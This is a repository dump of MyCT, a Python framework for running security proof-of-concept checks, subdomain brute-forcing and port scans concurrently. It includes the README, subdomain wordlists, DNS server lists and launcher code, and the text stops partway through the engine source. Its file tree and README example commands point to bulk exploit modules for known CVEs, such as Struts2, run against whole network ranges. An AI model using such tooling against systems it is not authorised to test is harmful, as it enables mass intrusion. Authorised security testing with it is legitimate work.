├── MyCT.py ├── README.md ├── data ├── allDnsServer.txt ├── badDnsServer.txt ├── next_sub.txt ├── next_sub2.txt ├── next_sub_full.txt ├── subnames.txt └── subnames_all_5_letters.txt ├── docx ├── LICENSE.txt ├── architecture.jpg ├── callGraph.png ├── ico.png ├── license-GPLv2-red.svg └── python-2.7-green.svg ├── lib ├── __init__.py ├── cli.py ├── controller │ ├── __init__.py │ ├── coreengine.py │ ├── engine.py │ ├── pocengine.py │ └── preengine.py ├── core │ ├── __init__.py │ ├── common.py │ ├── config.py │ ├── data.py │ ├── log.py │ ├── setting.py │ └── static.py ├── loader │ ├── __init__.py │ └── loader.py ├── parser │ ├── __init__.py │ ├── hander.py │ └── parser.py └── utils │ ├── __init__.py │ └── versioncheck.py ├── pocmodules ├── .txt ├── SolarWinds │ └── CVE-2020-10148.py ├── SonicWall │ └── SSL-VPN_rce.py ├── coremail │ └── CMXT5-2019-0002.py ├── demo1.py ├── demo2.py ├── drupal │ ├── CVE-2018-7600.py │ ├── CVE-2018-7602.py │ └── CVE-2019-6340.py ├── fastjson │ └── 1247.py ├── flink │ └── CVE-2020-17519.py ├── fortios │ └── CVE-2018-13379.py ├── get-title.py ├── jumpserver │ ├── 2021-0115-monitor.py │ └── 2021-0115.py ├── lanproxy │ └── CVE-2021-3019.py ├── leak │ ├── git.py │ └── svn.py ├── ljjsdb.py ├── print.py ├── saltstack │ └── CVE-2020-16846.py ├── seeyon │ ├── 202012-rce.py │ ├── ajaxAction_rce_fu.php │ └── ajaxAction_rce_ping.php ├── shiro │ ├── abp.py │ ├── rce.py │ └── shiro_tool.jar ├── struts2 │ ├── S2-052.py │ ├── s2-057.py │ └── s2-061.py ├── tomcat │ └── cve-2020-1938.py ├── weblogic │ ├── CVE-2019-2725-w12.py │ ├── CVE-2020-14882.py │ ├── CVE-2020-14883-w12.py │ └── CVE-2021-2109.py └── yonyou │ └── grp-u8-rce.py ├── premodules ├── demo.py ├── fget-web-all.py ├── fget-web.py ├── get-port.py ├── get-web-url.py ├── get-web.py ├── get-wlg.py └── ljjsdb.py ├── requirement.txt └── thirdparty ├── IPy.py ├── __init__.py ├── ansistrm.py ├── colorama ├── __init__.py ├── ansi.py ├── ansitowin32.py ├── initialise.py ├── win32.py └── winterm.py ├── termcolor.py ├── terminal.py └── utils.py /MyCT.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | # Author:0671 3 | 4 | from lib.cli import main 5 | 6 | if __name__ == '__main__': 7 | # Enter the main function in command line mode 8 | main() -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MyCT(My *Concurrent Toolkit*) 2 | 3 | [![Python 2.7](https://github.com/0671/MyCT/blob/main/docx/python-2.7-green.svg)](https://www.python.org/) [![License](https://github.com/0671/MyCT/blob/main/docx/license-GPLv2-red.svg)](https://github.com/0671/MyCT/blob/main/docx/LICENSE.txt) 4 | 基于**Xyntax的[POC-T](https://github.com/Xyntax/POC-T)** 进行个人重构。 5 | 用于安全运维中的批量PoC、子域发现与端口扫描等并发任务。 6 | 7 | 8 | 声明 9 | --- 10 | 本工具仅用于个人安全研究学习。由于传播、利用本工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,工具作者不为此承担任何责任。 11 | 12 | 程序架构 13 | --- 14 | ![architecture](https://github.com/0671/MyCT/blob/main/docx/architecture.jpg) 15 | 16 | 17 | 特点 18 | --- 19 | - 高并发(线程或协程) 20 | - 支持多模块、双步骤执行 21 | - 模块编写快捷方便且高自由度(eg:ljjsdb模块逻辑来源于[subDomainsBrute](https://github.com/lijiejie/subDomainsBrute)) 22 | 23 | 24 | 安装 25 | --- 26 | * 安装 python2.7、pip 27 | * 安装依赖库:`pip install -r requirement.txt` 28 | 29 | 30 | 快速开始 31 | --- 32 | * 帮助:`python MyCT.py -h` 33 | * 显示模块:`python MyCT.py --show` 34 | * 使用**模块1**处理并发目标:`python MyCT.py -m 模块1 -iN 1.1.1.0/24` 35 | * 使用**模块1**预处理并发目标,然后使用**模块2**对结果进行处理:`python MyCT.py -pm 模块1 -m 模块2 -iN 1.1.1.0/24` 36 | eg: 37 | * 子域名爆破:`python MyCT.py -m ljjsdb -c 500 -iS test.com` 38 | * 扫描网段中的Web服务,获取网站标题、PoC测试:`python MyCT.py -pm get-web -m get-title struts2/S2-052 struts2/s2-057 -c 200 -iN 192.168.3.0/24` 39 | 40 | 41 | 模块编写 42 | --- 43 | 位于promodule/或premodule/下,新建py文件: 44 | ``` 45 | class c2Class(object): 46 | def __init__(self): 47 | pass 48 | def c2Func(self,target): 49 | status = 0 50 | returnData = '' 51 | return status,returnData 52 | ``` 53 | 其中: 54 | - 类名`c2Class`、方法名`c2Func`,一般不可以改变,必须使用该名称定义类与方法。 55 | - `c2Class`的 `__init__`方法一般放置一些通数据,如漏洞名称等。 56 | - `c2Class`的 `c2Func`方法一般放置需要并发的代码(PoC逻辑、端口扫描等)。 57 | - 返回**状态码**、**返回数据**: 58 | - 状态码为int型,有4种:0-失败、1-成功、-1-重试、10-成功且增加测试。 59 | - 返回数据可以是任意类型(必须实现了**`__str__`方法**,如果需要设置目标优先级,还需要实现**`__lt__`方法**),也可以是list类型,list元素需符合以上要求。 60 | 61 | 更多详情可查看premodules或pocmodules目录下的`demo.py`。 62 | 63 | 64 | 程序设置 65 | --- 66 | lib/core/setting.py 下 67 | 并发数 **CONCURRENT_NUM** 默认为 50 68 | 并发模块类名称 **CLASSNAME** 默认为 c2Class 69 | 并发模块类的并发函数名称 **FUNCNAME **默认为 c2Func 70 | 71 | 反馈 72 | --- 73 | Mail:h.vi@qq.com 74 | 或者[issue](https://github.com/0671/MyCT/issues/new)、PR 75 | -------------------------------------------------------------------------------- /data/allDnsServer.txt: -------------------------------------------------------------------------------- 1 | 119.29.29.29 2 | 182.254.116.116 3 | # 223.5.5.5 4 | # 223.6.6.6 5 | 114.114.115.115 6 | 114.114.114.114 -------------------------------------------------------------------------------- /data/badDnsServer.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/MyCT/1982dc6fdb4e03f180eb587f50d277ef6174db9d/data/badDnsServer.txt -------------------------------------------------------------------------------- /data/next_sub.txt: -------------------------------------------------------------------------------- 1 | test 2 | test2 3 | t 4 | dev 5 | 1 6 | 2 7 | 3 8 | s1 9 | s2 10 | s3 11 | admin 12 | adm 13 | a 14 | ht 15 | adminht 16 | webht 17 | web 18 | gm 19 | sys 20 | system 21 | manage 22 | manager 23 | mgr 24 | b 25 | c 26 | passport 27 | bata 28 | wei 29 | weixin 30 | wechat 31 | wx 32 | wiki 33 | upload 34 | ftp 35 | pic 36 | jira 37 | zabbix 38 | nagios 39 | bug 40 | bugzilla 41 | sql 42 | mysql 43 | db 44 | stmp 45 | pop 46 | imap 47 | mail 48 | zimbra 49 | exchange 50 | forum 51 | bbs 52 | list 53 | count 54 | counter 55 | img 56 | img01 57 | img02 58 | img03 59 | img04 60 | api 61 | cache 62 | js 63 | css 64 | app 65 | apps 66 | wap 67 | m 68 | sms 69 | zip 70 | monitor 71 | proxy 72 | update 73 | upgrade 74 | stat 75 | stats 76 | data 77 | portal 78 | blog 79 | autodiscover 80 | en 81 | search 82 | so 83 | oa 84 | database 85 | home 86 | sso 87 | help 88 | vip 89 | s 90 | w 91 | down 92 | download 93 | downloads 94 | dl 95 | svn 96 | git 97 | log 98 | staff 99 | vpn 100 | sslvpn 101 | ssh 102 | scanner 103 | sandbox 104 | ldap 105 | lab 106 | go 107 | demo 108 | console 109 | cms 110 | auth 111 | crm 112 | erp 113 | res 114 | static 115 | old 116 | new 117 | beta 118 | image 119 | service 120 | login 121 | 3g 122 | docs 123 | it 124 | e 125 | live 126 | library 127 | files 128 | i 129 | d 130 | cp 131 | connect 132 | gateway 133 | lib 134 | preview 135 | backup 136 | share 137 | status 138 | assets 139 | user 140 | vote 141 | bugs 142 | cas 143 | feedback 144 | id 145 | edm 146 | survey 147 | union 148 | ceshi 149 | dev1 150 | updates 151 | phpmyadmin 152 | pma 153 | edit 154 | master 155 | xml 156 | control 157 | profile 158 | zhidao 159 | tool 160 | toolbox 161 | boss 162 | activity 163 | www -------------------------------------------------------------------------------- /data/next_sub2.txt: -------------------------------------------------------------------------------- 1 | {alphnum}{alphnum}{alphnum} 2 | {alphnum}{alphnum} 3 | t 4 | www 5 | www2 6 | mail 7 | forum 8 | report 9 | no:363en 10 | online 11 | test 12 | portal 13 | b2b 14 | conference 15 | customer 16 | dns 17 | dns1 18 | dns2 19 | no:1131edi 20 | ftp 21 | gw 22 | pop 23 | smtp 24 | m2 25 | t2 26 | t3 27 | t8 28 | tc 29 | vc 30 | door 31 | trade 32 | ship 33 | danger 34 | model 35 | youth 36 | inner 37 | schedule 38 | bulk 39 | graph 40 | apitest 41 | booking 42 | en2 43 | epay 44 | hg 45 | xg 46 | ets 47 | geo 48 | ggt 49 | hpg 50 | rtx -------------------------------------------------------------------------------- /data/next_sub_full.txt: -------------------------------------------------------------------------------- 1 | test 2 | test2 3 | t 4 | dev 5 | 1 6 | 2 7 | 3 8 | s1 9 | s2 10 | s3 11 | admin 12 | adm 13 | a 14 | ht 15 | adminht 16 | webht 17 | web 18 | gm 19 | sys 20 | system 21 | manage 22 | manager 23 | mgr 24 | b 25 | c 26 | passport 27 | bata 28 | wei 29 | weixin 30 | wechat 31 | wx 32 | wiki 33 | upload 34 | ftp 35 | pic 36 | jira 37 | zabbix 38 | nagios 39 | bug 40 | bugzilla 41 | sql 42 | mysql 43 | db 44 | stmp 45 | pop 46 | imap 47 | mail 48 | zimbra 49 | exchange 50 | forum 51 | bbs 52 | list 53 | count 54 | counter 55 | img 56 | img01 57 | img02 58 | img03 59 | img04 60 | api 61 | cache 62 | js 63 | css 64 | app 65 | apps 66 | wap 67 | m 68 | sms 69 | zip 70 | monitor 71 | proxy 72 | update 73 | upgrade 74 | stat 75 | stats 76 | data 77 | portal 78 | blog 79 | autodiscover 80 | en 81 | search 82 | so 83 | oa 84 | database 85 | home 86 | sso 87 | help 88 | vip 89 | s 90 | w 91 | down 92 | download 93 | downloads 94 | dl 95 | svn 96 | git 97 | log 98 | staff 99 | vpn 100 | sslvpn 101 | ssh 102 | scanner 103 | sandbox 104 | ldap 105 | lab 106 | go 107 | demo 108 | console 109 | cms 110 | auth 111 | crm 112 | erp 113 | res 114 | static 115 | old 116 | new 117 | beta 118 | image 119 | service 120 | login 121 | 3g 122 | docs 123 | it 124 | e 125 | live 126 | library 127 | files 128 | i 129 | d 130 | cp 131 | connect 132 | gateway 133 | lib 134 | preview 135 | backup 136 | share 137 | status 138 | assets 139 | user 140 | vote 141 | bugs 142 | cas 143 | feedback 144 | id 145 | edm 146 | survey 147 | union 148 | ceshi 149 | dev1 150 | updates 151 | phpmyadmin 152 | pma 153 | edit 154 | master 155 | xml 156 | control 157 | profile 158 | zhidao 159 | tool 160 | toolbox 161 | boss 162 | activity 163 | www 164 | smtp 165 | webmail 166 | mx 167 | pop3 168 | ns1 169 | ns2 170 | webdisk 171 | www2 172 | news 173 | cpanel 174 | whm 175 | shop 176 | sip 177 | ns 178 | mobile 179 | www1 180 | email 181 | support 182 | mail2 183 | media 184 | lyncdiscover 185 | secure 186 | video 187 | my 188 | staging 189 | images 190 | dns 191 | info 192 | ns3 193 | mail1 194 | intranet 195 | cdn 196 | lists 197 | dns1 198 | www3 199 | dns2 200 | mobilemail 201 | store 202 | remote 203 | cn 204 | owa 205 | cs 206 | stage 207 | online 208 | jobs 209 | calendar 210 | community 211 | forums 212 | services 213 | dialin 214 | chat 215 | meet 216 | blogs 217 | hr 218 | office 219 | ww 220 | ftp2 221 | legacy 222 | b2b 223 | ns4 224 | v 225 | pda 226 | events 227 | av 228 | edu 229 | ads 230 | health 231 | es 232 | english 233 | ad 234 | extranet 235 | helpdesk 236 | training 237 | photo 238 | finance 239 | tv 240 | fr 241 | sc 242 | job 243 | cloud 244 | im 245 | careers 246 | game 247 | archive 248 | get 249 | gis 250 | access 251 | member 252 | mx1 253 | newsletter 254 | de 255 | qa 256 | direct 257 | alumni 258 | mx2 259 | hk 260 | sp 261 | gw 262 | relay 263 | jp 264 | content 265 | file 266 | citrix 267 | vpn2 268 | soft 269 | ssl 270 | server 271 | club 272 | ws 273 | host 274 | book 275 | www4 276 | sh 277 | tools 278 | mail3 279 | ms 280 | mailhost 281 | ca 282 | ntp 283 | ask 284 | sites 285 | sz 286 | spam 287 | wwww 288 | tw 289 | videos 290 | send 291 | music 292 | project 293 | uk 294 | start 295 | mall 296 | ns5 297 | outlook 298 | reports 299 | us 300 | partner 301 | mssql 302 | bj 303 | sharepoint 304 | link 305 | metrics 306 | partners 307 | smtp2 308 | webproxy 309 | mdm 310 | marketing 311 | ts 312 | security 313 | map 314 | ir 315 | fs 316 | origin 317 | travel 318 | feeds 319 | meeting 320 | u 321 | photos 322 | hq 323 | tj 324 | research 325 | pt 326 | members 327 | ru 328 | bm 329 | business 330 | eq 331 | cc 332 | w3 333 | student 334 | auto 335 | dx 336 | p 337 | rs 338 | dns3 339 | vc 340 | gmail 341 | uc 342 | press 343 | web1 344 | localhost 345 | ent 346 | tuan 347 | dj 348 | web2 349 | ss 350 | cnc 351 | vpn1 352 | pay 353 | time 354 | sx 355 | hd 356 | games 357 | lt 358 | projects 359 | g 360 | sales 361 | stream 362 | gb 363 | forms 364 | www5 365 | wt 366 | abc 367 | weather 368 | zb 369 | smtp1 370 | maps 371 | x 372 | register 373 | design 374 | radio 375 | software 376 | china 377 | math 378 | open 379 | view 380 | fax 381 | event 382 | pm 383 | test1 384 | alpha 385 | irc 386 | sg 387 | cq 388 | ftp1 389 | idc 390 | labs 391 | da 392 | directory 393 | developer 394 | reg 395 | catalog 396 | rss 397 | wh 398 | sd 399 | tg 400 | bb 401 | digital 402 | hb 403 | house 404 | site 405 | conference 406 | rt 407 | temp 408 | fw 409 | tz 410 | tech 411 | education 412 | biz 413 | f 414 | gallery 415 | gh 416 | car 417 | dc 418 | agent 419 | mis 420 | eng 421 | flash 422 | cx 423 | pub 424 | ticket 425 | doc 426 | card 427 | account 428 | code 429 | promo 430 | net 431 | kb 432 | jk 433 | social 434 | sports 435 | ems 436 | tp 437 | public 438 | mm 439 | pms 440 | mrtg 441 | as 442 | jw 443 | corp 444 | tr 445 | investor 446 | dm 447 | sts 448 | th 449 | bi 450 | 123 451 | st 452 | br 453 | wp 454 | art 455 | shopping 456 | global 457 | money 458 | prod 459 | students 460 | cj 461 | iphone 462 | vps 463 | ag 464 | food 465 | sb 466 | ly 467 | local 468 | sj 469 | server1 470 | testing 471 | brand 472 | sy 473 | buy 474 | life 475 | groups 476 | nl 477 | tour 478 | lms 479 | pro 480 | bc 481 | rtx 482 | hao 483 | exam 484 | fb 485 | in 486 | ams 487 | msoid 488 | idp 489 | vod 490 | cm 491 | dk 492 | hs 493 | usa 494 | ww2 495 | jwc 496 | lp 497 | rsc 498 | jd 499 | cf 500 | rms 501 | ec 502 | jabber 503 | streaming 504 | webdev 505 | dms 506 | investors 507 | bookstore 508 | kr 509 | cd 510 | corporate 511 | mail4 512 | fz 513 | order 514 | transfer 515 | hotel 516 | work 517 | bt 518 | au 519 | pages 520 | sm 521 | client 522 | r 523 | y 524 | audio 525 | cz 526 | ci 527 | se 528 | potala 529 | ch 530 | webservices 531 | dy 532 | cvs 533 | ra 534 | apple 535 | barracuda 536 | ip 537 | ja 538 | mkt 539 | archives 540 | www0 541 | intra 542 | gate 543 | youth 544 | internal 545 | mailgw 546 | customer 547 | linux 548 | registration 549 | movie 550 | mailgate 551 | q 552 | xx 553 | mx3 554 | mars 555 | phone 556 | desktop 557 | ds 558 | zz 559 | love 560 | show 561 | nc 562 | redmine 563 | ce 564 | pl 565 | wireless 566 | inside 567 | fx 568 | mp 569 | hz 570 | listserv 571 | analytics 572 | ks 573 | redirect 574 | accounts 575 | report 576 | hermes 577 | ae 578 | mobi 579 | ps 580 | edge 581 | resources 582 | img1 583 | law 584 | pr 585 | international 586 | ml 587 | trac 588 | rd 589 | market 590 | mailer 591 | cert 592 | hg 593 | cl 594 | img2 595 | development 596 | gs 597 | google 598 | space 599 | www6 600 | gd 601 | post 602 | voip 603 | ac 604 | push 605 | m2 606 | sq 607 | fc 608 | ar 609 | asp 610 | dr 611 | seo 612 | mobil 613 | sync 614 | kf 615 | be 616 | about 617 | mail01 618 | sns 619 | board 620 | pc 621 | links 622 | jj 623 | history 624 | mailman 625 | campus 626 | mms 627 | storage 628 | ns0 629 | cdn2 630 | cacti 631 | hy 632 | enterprise 633 | noc 634 | ic 635 | cgi 636 | track 637 | world 638 | act 639 | wl 640 | product 641 | ls 642 | sf 643 | affiliates 644 | android 645 | payment 646 | n 647 | gz 648 | web3 649 | learning 650 | signup 651 | z 652 | tao 653 | top 654 | wifi 655 | yy 656 | password 657 | cw 658 | wm 659 | ess 660 | ex 661 | resource 662 | print 663 | gc 664 | w2 665 | canada 666 | cr 667 | mc 668 | 0 669 | me 670 | keys 671 | sentry 672 | smtp3 673 | journal 674 | mt 675 | team 676 | orion 677 | edi 678 | test3 679 | tc 680 | main 681 | zs 682 | faq 683 | click 684 | hub 685 | tu 686 | golf 687 | phoenix 688 | bd 689 | build 690 | free 691 | ee 692 | int 693 | cdn1 694 | v2 695 | sa 696 | pos 697 | fi 698 | router 699 | rc 700 | mirror 701 | tracker 702 | ct 703 | special 704 | cal 705 | ns6 706 | atlas 707 | ids 708 | affiliate 709 | nj 710 | tt 711 | nz 712 | db1 713 | bg 714 | mercury 715 | family 716 | courses 717 | ipv6 718 | jupiter 719 | no 720 | venus 721 | nb 722 | beijing 723 | summer 724 | ma 725 | yp 726 | ocs 727 | star 728 | traveler 729 | multimedia 730 | fm 731 | study 732 | lb 733 | up 734 | shanghai 735 | bk 736 | www7 737 | join 738 | tfs 739 | feed 740 | h 741 | ns01 742 | php 743 | stock 744 | km 745 | books 746 | eu 747 | md 748 | 2013 749 | whois 750 | sw 751 | mailserver 752 | mb 753 | tms 754 | monitoring 755 | ys 756 | ga 757 | radius 758 | group 759 | mtest 760 | j 761 | www8 762 | wb 763 | m1 764 | billing 765 | aaa 766 | pf 767 | products 768 | faculty 769 | em 770 | opac 771 | cis 772 | xmpp 773 | nanjing 774 | taobao 775 | zp 776 | teacher 777 | co 778 | contact 779 | nt 780 | ky 781 | qq 782 | mp3 783 | gps 784 | hn 785 | users 786 | gl 787 | domain 788 | newsroom 789 | dh 790 | csc 791 | repo 792 | zw 793 | ismart 794 | pp 795 | gg 796 | wms 797 | ims 798 | www9 799 | 2014 800 | solutions 801 | at 802 | bak 803 | sl 804 | cwc 805 | firewall 806 | wordpress 807 | school 808 | nms 809 | developers 810 | pki 811 | pe 812 | v2-ag 813 | devel 814 | hp 815 | titan 816 | pluto 817 | kids 818 | sport 819 | mail5 820 | server2 821 | nas 822 | xh 823 | ap 824 | red 825 | mas 826 | translate 827 | dealer 828 | ipad 829 | demo2 830 | 2012 831 | dns4 832 | hh 833 | green 834 | dz 835 | hybrid 836 | discover 837 | adserver 838 | japan 839 | mi 840 | xf 841 | zeus 842 | am 843 | people 844 | aa 845 | win 846 | sk 847 | db2 848 | jenkins 849 | xb 850 | oss 851 | sdc 852 | wc 853 | its 854 | dw 855 | yun 856 | acs 857 | asia 858 | daj 859 | webadmin 860 | crl 861 | ebook 862 | mag 863 | csg 864 | blue 865 | bank 866 | one 867 | o 868 | horizon 869 | orders 870 | apis 871 | k 872 | l 873 | 4 874 | 5 875 | 6 876 | 7 877 | 8 878 | 9 879 | ab 880 | af 881 | ah 882 | ai 883 | aj 884 | ak 885 | al 886 | an 887 | ao 888 | aq 889 | aw 890 | ax 891 | ay 892 | az 893 | ba 894 | bf 895 | bh 896 | bl 897 | bn 898 | bo 899 | bp 900 | bq 901 | bs 902 | bu 903 | bv 904 | bw 905 | bx 906 | by 907 | bz 908 | cb 909 | cg 910 | ck 911 | cu 912 | cv 913 | cy 914 | dd 915 | df 916 | dg 917 | di 918 | dn 919 | do 920 | dp 921 | dq 922 | dt 923 | du 924 | dv 925 | ea 926 | eb 927 | ed 928 | ef 929 | eg 930 | eh 931 | ei 932 | ej 933 | ek 934 | el 935 | eo 936 | ep 937 | er 938 | et 939 | ev 940 | ew 941 | ey 942 | ez 943 | fa 944 | fd 945 | fe 946 | ff 947 | fg 948 | fh 949 | fj 950 | fk 951 | fl 952 | fn 953 | fo 954 | fp 955 | fq 956 | ft 957 | fu 958 | fv 959 | fy 960 | ge 961 | gf 962 | gi 963 | gj 964 | gk 965 | gn 966 | gp 967 | gq 968 | gr 969 | gt 970 | gu 971 | gv 972 | gx 973 | gy 974 | ha 975 | hc 976 | he 977 | hf 978 | hi 979 | hj 980 | hl 981 | hm 982 | ho 983 | hu 984 | hv 985 | hw 986 | hx 987 | ia 988 | ib 989 | ie 990 | if 991 | ig 992 | ih 993 | ii 994 | ij 995 | ik 996 | il 997 | io 998 | iq 999 | is 1000 | iu 1001 | iv 1002 | iw 1003 | ix 1004 | iy 1005 | iz 1006 | jb 1007 | jc 1008 | je 1009 | jf 1010 | jg 1011 | jh 1012 | ji 1013 | jl 1014 | jm 1015 | jn 1016 | jo 1017 | jq 1018 | jr 1019 | jt 1020 | ju 1021 | jv 1022 | jx 1023 | jy 1024 | jz 1025 | ka 1026 | kc 1027 | kd 1028 | ke 1029 | kg 1030 | kh 1031 | ki 1032 | kj 1033 | kk 1034 | kl 1035 | kn 1036 | ko 1037 | kp 1038 | kq 1039 | kt 1040 | ku 1041 | kv 1042 | kw 1043 | kx 1044 | kz 1045 | la 1046 | lc 1047 | ld 1048 | le 1049 | lf 1050 | lg 1051 | lh 1052 | li 1053 | lj 1054 | lk 1055 | ll 1056 | lm 1057 | ln 1058 | lo 1059 | lq 1060 | lr 1061 | lu 1062 | lv 1063 | lw 1064 | lx 1065 | lz 1066 | mf 1067 | mg 1068 | mh 1069 | mj 1070 | mk 1071 | mn 1072 | mo 1073 | mq 1074 | mr 1075 | mu 1076 | mv 1077 | mw 1078 | mz 1079 | na 1080 | nd 1081 | ne 1082 | nf 1083 | ng 1084 | nh 1085 | ni 1086 | nk 1087 | nm 1088 | nn 1089 | np 1090 | nq 1091 | nr 1092 | nu 1093 | nv 1094 | nw 1095 | nx 1096 | ny 1097 | ob 1098 | oc 1099 | od 1100 | oe 1101 | of 1102 | og 1103 | oh 1104 | oi 1105 | oj 1106 | ok 1107 | ol 1108 | om 1109 | on 1110 | oo 1111 | op 1112 | oq 1113 | or 1114 | os 1115 | ot 1116 | ou 1117 | ov 1118 | ow 1119 | ox 1120 | oy 1121 | oz 1122 | pa 1123 | pb 1124 | pd 1125 | pg 1126 | ph 1127 | pi 1128 | pj 1129 | pk 1130 | pn 1131 | po 1132 | pq 1133 | pu 1134 | pv 1135 | pw 1136 | px 1137 | py 1138 | pz 1139 | qb 1140 | qc 1141 | qd 1142 | qe 1143 | qf 1144 | qg 1145 | qh 1146 | qi 1147 | qj 1148 | qk 1149 | ql 1150 | qm 1151 | qn 1152 | qo 1153 | qp 1154 | qr 1155 | qs 1156 | qt 1157 | qu 1158 | qv 1159 | qw 1160 | qx 1161 | qy 1162 | qz 1163 | rb 1164 | re 1165 | rf 1166 | rg 1167 | rh 1168 | ri 1169 | rj 1170 | rk 1171 | rl 1172 | rm 1173 | rn 1174 | ro 1175 | rp 1176 | rq 1177 | rr 1178 | rv 1179 | rw 1180 | rx 1181 | ry 1182 | rz 1183 | si 1184 | sn 1185 | sr 1186 | su 1187 | sv 1188 | ta 1189 | tb 1190 | td 1191 | te 1192 | tf 1193 | ti 1194 | tk 1195 | tl 1196 | tm 1197 | tn 1198 | to 1199 | tq 1200 | tx 1201 | ty 1202 | ua 1203 | ub 1204 | ud 1205 | ue 1206 | uf 1207 | ug 1208 | uh 1209 | ui 1210 | uj 1211 | ul 1212 | um 1213 | un 1214 | uo 1215 | uq 1216 | ur 1217 | ut 1218 | uu 1219 | uv 1220 | uw 1221 | ux 1222 | uy 1223 | uz 1224 | va 1225 | vb 1226 | vd 1227 | ve 1228 | vf 1229 | vg 1230 | vh 1231 | vi 1232 | vj 1233 | vk 1234 | vl 1235 | vm 1236 | vn 1237 | vo 1238 | vp 1239 | vq 1240 | vr 1241 | vs 1242 | vt 1243 | vu 1244 | vv 1245 | vw 1246 | vx 1247 | vy 1248 | vz 1249 | wa 1250 | wd 1251 | we 1252 | wf 1253 | wg 1254 | wi 1255 | wj 1256 | wk 1257 | wn 1258 | wo 1259 | wq 1260 | wr 1261 | wu 1262 | wv 1263 | wy 1264 | wz 1265 | xa 1266 | xc 1267 | xd 1268 | xe 1269 | xg 1270 | xi 1271 | xj 1272 | xk 1273 | xl 1274 | xm 1275 | xn 1276 | xo 1277 | xp 1278 | xq 1279 | xr 1280 | xs 1281 | xt 1282 | xu 1283 | xv 1284 | xw 1285 | xy 1286 | xz 1287 | ya 1288 | yb 1289 | yc 1290 | yd 1291 | ye 1292 | yf 1293 | yg 1294 | yh 1295 | yi 1296 | yj 1297 | yk 1298 | yl 1299 | ym 1300 | yn 1301 | yo 1302 | yq 1303 | yr 1304 | yt 1305 | yu 1306 | yv 1307 | yw 1308 | yx 1309 | yz 1310 | za 1311 | zc 1312 | zd 1313 | ze 1314 | zf 1315 | zg 1316 | zh 1317 | zi 1318 | zj 1319 | zk 1320 | zl 1321 | zm 1322 | zn 1323 | zo 1324 | zq 1325 | zr 1326 | zt 1327 | zu 1328 | zv 1329 | zx 1330 | zy -------------------------------------------------------------------------------- /data/subnames_all_5_letters.txt: -------------------------------------------------------------------------------- 1 | {alphnum} 2 | {alphnum}{alphnum} 3 | {alphnum}{alphnum}{alphnum} 4 | {alphnum}{alphnum}{alphnum}{alphnum} 5 | {alphnum}{alphnum}{alphnum}{alphnum}{alphnum} -------------------------------------------------------------------------------- /docx/architecture.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/MyCT/1982dc6fdb4e03f180eb587f50d277ef6174db9d/docx/architecture.jpg -------------------------------------------------------------------------------- /docx/callGraph.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/MyCT/1982dc6fdb4e03f180eb587f50d277ef6174db9d/docx/callGraph.png -------------------------------------------------------------------------------- /docx/ico.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/MyCT/1982dc6fdb4e03f180eb587f50d277ef6174db9d/docx/ico.png -------------------------------------------------------------------------------- /docx/license-GPLv2-red.svg: -------------------------------------------------------------------------------- 1 | license: GPLv2licenseGPLv2 -------------------------------------------------------------------------------- /docx/python-2.7-green.svg: -------------------------------------------------------------------------------- 1 | python: 2.7python2.7 -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 -------------------------------------------------------------------------------- /lib/cli.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import sys 3 | import logging 4 | import traceback 5 | from lib.core.data import logger,args 6 | from lib.parser.parser import parseArgs 7 | from lib.core.static import CUSTOM_LOGGING 8 | from lib.core.common import setPaths,initWinStdout,printBanner,callGraph 9 | from lib.core.config import initConfig 10 | from lib.loader.loader import loadModule,loadTarget 11 | from lib.controller.engine import run as runEngine 12 | 13 | 14 | @callGraph 15 | def main(): 16 | try: 17 | logger.log(CUSTOM_LOGGING.INFO,'Start the initialization work ...') 18 | 19 | # Set program path 20 | logger.log(CUSTOM_LOGGING.SUCCESS,'Start setting program path ...') 21 | setPaths() 22 | 23 | # Parse command line parameters 24 | logger.log(CUSTOM_LOGGING.INFO,'Start parsing parameters ...') 25 | args=parseArgs() 26 | 27 | # Adjust color output 28 | logger.log(CUSTOM_LOGGING.INFO,'Start adjusting color output ...') 29 | initWinStdout() 30 | 31 | # Output banner information 32 | logger.log(CUSTOM_LOGGING.INFO,'Start printing banner ...') 33 | printBanner() 34 | 35 | # Print banner information 36 | logger.log(CUSTOM_LOGGING.INFO,'Start initial configuration ...') 37 | initConfig(args) 38 | 39 | # Load concurrent target 40 | logger.log(CUSTOM_LOGGING.INFO,'Start to initialize the concurrent target ...') 41 | loadTarget() 42 | 43 | # Load modules (preprocessing and processing) 44 | logger.log(CUSTOM_LOGGING.INFO,'Start to initialize the concurrent module ...') 45 | loadModule() 46 | 47 | # So far, all initialization work of the program is completed 48 | logger.log(CUSTOM_LOGGING.INFO,'So far, Initialization work has been completed') 49 | 50 | # Run concurrency engine 51 | logger.log(CUSTOM_LOGGING.INFO,'Start running the concurrent engine ...') 52 | runEngine() 53 | 54 | # End of program 55 | logger.log(CUSTOM_LOGGING.INFO,'End of program.') 56 | sys.exit(0) 57 | 58 | except KeyboardInterrupt as e: 59 | # If the KeyboardInterrupt exception occurs during the program, it means that the user has pressed ctrl+c, that is, the user voluntarily exits 60 | logger.error('User Quit') 61 | sys.exit(0) 62 | 63 | except Exception as e: 64 | # If other exceptions occur in the program, print the exception traceback message 65 | errMsg=traceback.format_exc() 66 | logger.error('An exception has occurred in the MyCT.\n Exception : \n%s'%errMsg) 67 | logger.error('The program exits unexpectedly.') 68 | sys.exit(-1) -------------------------------------------------------------------------------- /lib/controller/__init__.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 -------------------------------------------------------------------------------- /lib/controller/coreengine.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | # 以下3行是为了协程模式。为什么这3行代码要放在代码最前面 而不是放在需要调用gevent前的地方,因为py3要求这3行代码必须在最前面,py2无这要求。 3 | # 20210116 这3行代码放在前面运行,win10运行了,一段时间后会奔溃。。。 4 | # import gevent 5 | # from gevent import monkey # gevent需要修改python自带的一些标准库,以达到IO阻塞时可以切换协程运行的目的,这一过程通过monkey patch完成 6 | # monkey.patch_all() 7 | import time 8 | import threading 9 | import traceback 10 | try:import queue as 